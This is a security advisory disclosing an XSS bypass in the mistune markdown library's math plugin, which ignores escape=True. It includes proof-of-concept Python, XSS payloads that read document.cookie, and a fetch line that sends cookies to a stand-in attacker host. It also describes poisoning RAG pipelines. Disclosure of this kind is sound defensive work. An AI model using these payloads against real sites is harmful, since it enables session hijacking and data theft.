CVE-2026-44708: mistune: math plugin XSS bypasses escape=True control

## Summary The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely. ## Details **File:** `src/mistune/plugins/math.py` ```python def render_inline_math(renderer, text): # `text` is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>" def render_block_math(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n" ``` Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function: - calls `escape(text)` from `mistune.util` - checks `renderer._escape` - calls `safe_entity(text)` or any other sanitisation helper The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not. ## PoC **Step 1 — Establish the baseline (escape=True works for plain HTML)** The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters: ```python md = create_markdown(escape=True, plugins=["math"]) bl_src = "<script>alert(document.cookie)</script>\n" bl_out = str(md(bl_src)) ``` Expected and actual output — the script tag is correctly escaped: ```html <p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p> ``` This confirms `escape=True` is working for the normal render path. **Step 2 — Craft the exploit payload** Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`: ```python ex_src = "$<script>alert(document.cookie)</script>$\n" ex_out = str(md(ex_src)) ``` **Step 3 — Observe the bypass** Actual output — the script tag is emitted raw, unescaped: ```html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p> ``` The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`. **Step 4 — Block math variant (`$$...$$`)** The same bypass applies to block-level math. Payload: ``` $$ <img src=x onerror="alert(document.cookie)"> $$ ``` Output: ```html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div> ``` The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`. ### Script A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import create_markdown md = create_markdown(escape=True, plugins=["math"]) # --- baseline --- bl_file = "baseline_h1.md" bl_src = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — escape=True works normally here]") print(bl_out) # --- exploit --- ex_file = "exploit_h1.md" ex_src = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — escape=True bypassed inside math delimiters]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", bl_file, bl_src, bl_out)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h1.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example usage: ```bash python poc.py ``` Once the script is run, open `report_h1.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | **Integrity** | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) | **Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.

An attacker targeting an AI research portal or ML documentation platform powered by mistune submits a document — a model card, CVE summary, or research note — containing `$<script>fetch('https://attacker.com/c?'+document.cookie)</script>$`. When an authenticated CISO, ML engineer, or admin views the rendered page, the browser executes the script and the attacker receives the victim's session cookie. In a RAG pipeline context, an adversary could poison a retrieved external document with this payload, causing the rendering layer to exfiltrate context from every user who views the generated AI response — silently, without triggering any server-side alert.